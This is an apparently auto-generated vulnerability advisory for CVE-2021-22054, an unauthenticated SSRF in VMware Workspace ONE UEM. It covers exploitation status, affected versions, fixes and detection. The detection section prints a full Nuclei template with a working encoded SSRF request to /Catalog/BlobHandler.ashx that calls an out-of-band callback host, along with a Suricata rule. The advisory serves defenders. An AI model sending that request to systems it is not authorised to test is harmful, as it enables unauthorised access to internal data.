CVE-2021-22054: Omnissa exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.

Description quoted from the CVE record (assigned by vmware, published 2021-12-17).

Weakness: CWE-918 Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2026-03-09
US federal deadline: 2026-03-23
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2022-02319, CNNVD-202112-1437, EUVD-2021-9219, GHSA-xqxh-cq77-r6qh

VEDAS cluster: VEDAS:BREWBAT

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2021/CVE-2021-22054.yaml
Code repository: https://github.com/mksx/cve-2021-22054
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2021/CVE-2021-22054.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2021/CVE-2021-22054.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22054.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22054.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22054.rules

Research and write-ups (2)

Research or write-up: https://www.assetnote.io/resources/research/advisory-vmware-workspace-one-uem-ssrf-cve-2021-22054
Research or write-up: https://www.assetnote.io/resources/research/encrypting-our-way-to-ssrf-in-vmware-workspace-one-uem-cve-2021-22054

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2021-9219
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-xqxh-cq77-r6qh
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2021-22054
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22054
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202112-1437

10 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.997
very likely to be attacked soon
VEDAS: 0.978
strong exploit evidence
On CISA KEV: Yes, since 2026-03-09
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 204 days before CISA confirmed attacks.

Who is affected

Product	Affected	Not affected
VMware Workspace ONE UEM console	version VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37.	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: vmware workspace_one_uem_console.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

VMware Workspace ONE UEM - Server-Side Request Forgery
VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiA...); it decides using status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2021-22054.yaml

Show the template (36 lines)

yaml

id: CVE-2021-22054

info:
  name: "VMware Workspace ONE UEM - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to
    21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor
    with network access to UEM to send their requests without authentication and to gain access to sensitive
    information.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-22054&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=vmware&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-22054
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve2021,cve,vmware,workspace,ssrf,vkev,vuln,kev
http:
  - method: GET
    path:
      - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200

CVE-2021-22054.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-22054 VMware Workspace ONE UEM - Server-Side Request Forgery. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-22054 VMware Workspace ONE UEM - Server-Side Request Forgery"; flow:established,to_server; http.uri; content:"/Catalog/BlobHandler.ashx"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-22054; reference:url,https://www.exploit.observer/?keyword=CVE-2021-22054&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=vmware&match=exact; sid:1010824; rev:1;)

CVE-2021-22054.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.